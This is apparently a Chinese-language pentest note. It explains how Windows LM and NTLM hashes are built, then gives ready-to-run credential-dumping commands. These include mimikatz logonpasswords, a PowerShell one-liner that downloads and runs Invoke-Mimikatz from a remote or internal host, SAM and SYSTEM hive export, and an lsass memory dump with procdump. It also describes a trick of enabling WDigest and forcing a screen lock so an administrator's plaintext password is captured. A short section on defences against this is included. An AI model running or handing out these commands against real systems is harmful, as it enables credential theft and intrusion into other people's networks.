Windows Hash
LM Hash
LAN Manager (LM) Hash 时WIndows 系统所用的第一种密码哈希算法,本质为DES加密
LM Hash 生成原理
1.用户密码转换为大写,最大长度限制为14个字符,
2.密码转换为16进制字符串,不足14个字节将用0来补全
3.密码的16进制被分成两个7byte部分,每部分转换成比特流,并且长度为为56bit,长度不足则在左边用0补齐
4.再分为7bit为一组,每组末尾加0,再组成一组
5.将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串“KGS!@#$% ”进行加密
参考https://blog.csdn.net/endeav_or/article/details/50196325
以这篇文字给出的 123994 为例
将 123994 使用文本编辑器 转换为十六进制
转换后 为 313233393934
(12*4 bits) 而为了满足14字节(14 *
8 bits) 后续全都用0补全
所以 补全后的十六进制为
3132333939340000 0000000000000000
将以上编码分词2组7字节(7*8 bits) 3132333939340000
0000000000000000
将以上两组7字节的十六进制转换为 二进制,每7bit 一组末尾加0,再转换为十六进制组成的两组8字节的编码
31323339393400
转换为 二进制位
00110001001100100011001100111001001110010011010000000000
长度不足便在左边补0 这里从计算器复制过来没有前面两个0
0011000 1001100 1000110 0110011 1001001 1100100 1101000 0000000
每7位分为一组
00110000 10011000 10001100 01100110 10010010 11001000 11010000 00000000
每一组末尾补0
将每一组转换位十六进制
00110000 10011000 1000110 001100110 10010010 11001000 11010000 00000000
30 98 8C 66 92 C8 D0 00
最终得到 30988C6692C8D000
同理
00000000000000
(14个0 ) 得到
0000000000000000
(16个0)
最后再将 以上两组8字节编码 分别作为DES 加密的密钥 为 魔术字符串“KGS!@#$% ”进行加密
该魔术字符串转换为16进制为 4B47532140232425
将两组DES加密后的编码拼接, 得到最终LM-Hash值为: FAE8BB9ECB799902 AAD3B435B51404EE
1 | # python实现LM-HASH脚本 |
LM Hash 缺点
1.密码长度最大只能为14个字符
2.密码无法区分大小写
3.如果密码强度小于7位,那个第二个分组加密后的结果一定为 aad3b435b51404ee
4.Des 容易被破解 密码强度不高
在Windows Vista 和 Windows Server 2008 版本后 Windows默认禁用了LM Hash。LM-Hash 明文密码限制在14位以内,也就是说,如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash 通常为 aad3b435b51404eeaad3b435b51404ee
NTLM Hash
NT LAN Manager (NTML) Hash 是基于MD4算法。从Windows Vista/Windows Server 2003以后Windows的默认认证方式均为NTLM Hash
NTLM Hash生成原理
1.将用户密码(转为ASCII 再)转换为十六进制
2.将十六进制格式的密码进行Unicode编码
3.使用MD4摘要算法对Unicode编码数据进行Hash计算
以密码123456为例 ,
- 首先将密码字符串转换为ASCII字符串,123456 => 49 50 51 52 53 54
- ASCII字符串在转换为十六进制,49 50 51 52 53 54 => 31 32 33 34 35 36
- 再进行Unicode 编码, 31 32 33 34 35 36 =>
1 | import hashlib,binascii; |
密码抓取
GetPassword
直接使用管理员权限的cmd 运行 GetPassword.exe 即可
PwDump7
可以得到系统中所有庄户的NTML Hash
mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz/releases
Minikatz 用于Windows下读取已经登录过的用户的Hash 和明文密码,需要admin或者system权限
本地交互式抓取
mimikatz # privilege::debug
提升权限
mimikatz # log
启动日志记录功能
mimikatz # sekurlsa::logonpasswords
读取存储在计算机上的明文密码和Hash值
本地非交互式抓取
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt
powershell 加载 mimikatz抓取
可以连接外网情况下
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
内网情况下,可以搭建一个本地web服务器,使用内网ip去访问
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.0.137/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
通过SAM 和 System 文件抓取密码
导出SAM 文件和 System 文件 reg save hklm\sam sam.hive
reg save hklm\system system.hive
然后将这两个文件放到mimikatz的同目录下,运行mmimikatz
lsadump::sam /sam:sam.hive /system:system.hive
得到NTLM为
31d6cfe0d16ae931b73c59d7e0c089c0
在网站上进行解密
得到密码为空
(该机器密码在设置时设为了空)
也可以使用ophcrack (https://www.objectif-securite.ch/ophcrack)
适用场景:获得了system权限,但是无法在目标机器上上传或使用 Mimikatz,这时候就可以使用reg命令导出Sam和System文件 然后离线读取处NTML Hash 。可以考虑使用在线解密网站或者hash 传递方式得到明文。
使用Powershell进行Dump Hashs
...........................
ProcDump + mimikatz
ProcDump 是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为 dump 文件,是一款微软自家出品软件,所以可以过很多杀软。
dump lsass.exe 进程
打开任务管理器 找到 lsass.exe(Local Security Authority Process) 进程,选择创建转储文件
这里生成的位置在AppData下 如果没显示该文件目录 点击组织->文件夹和搜索选项->查看 将显示的隐藏文件、文件夹和驱动器前点勾
使用procdump.exe 导出lsass.exe
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
读取dump文件
然后将生成的 lsass.dmp 文件放到 mimikatz 的同目录下,运行mimikatz
直接读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tspkg" exit
读取明文密码和hash 值(显示的信息更全)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit
部分系统的抓取尝试
Windows Server 2008 R2
Windows7 x64
这里抓取的密码为空 因为原密码为空 看下抓取的NTLM值 与 空值的相同
防范措施
安装 KB2871997 补丁,关闭Wdigest功能(Windows Server 2012以上版本都是默认关闭的)
安装完该补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
通过擦好看注册表键值,可以判断Wdigest功能状态,如果该值为 1 则为开启,即可获取明文密码,如果改值为0 则明文密码就不会出现在内存中。
开启或关闭Wdigest 的命令:
(1) reg add 命令
开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
(2)使用powershell
开启Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
- 利用meterpreter
开启Wdigest Auth
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
关闭Wdigest Auth
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0
记录一位师傅文章的思路(https://github.com/x0rz4/Intranet-information)
拿到了admin的cmd权限,管理员使用密码登录了机器,开启了lsass.exe进程,把密码保存在了内存文件lsass进程中。
想要的抓取明文,修改注册表开启Wdigest ,然后利用cmd的强制锁屏,等待管理员重新输入密码登录系统,这样密码就被记录在了lsass内存文件中,然后使用procdump导出lsass.dmp,使用mimikatz进行读取明文和hash
强制锁屏命令:
cmd rundll32 user32.dll,LockWorkStation
Reference
https://www.sqlsec.com/2019/11/winhash.html
https://xz.aliyun.com/t/2445
https://blog.csdn.net/endeav_or/article/details/50196325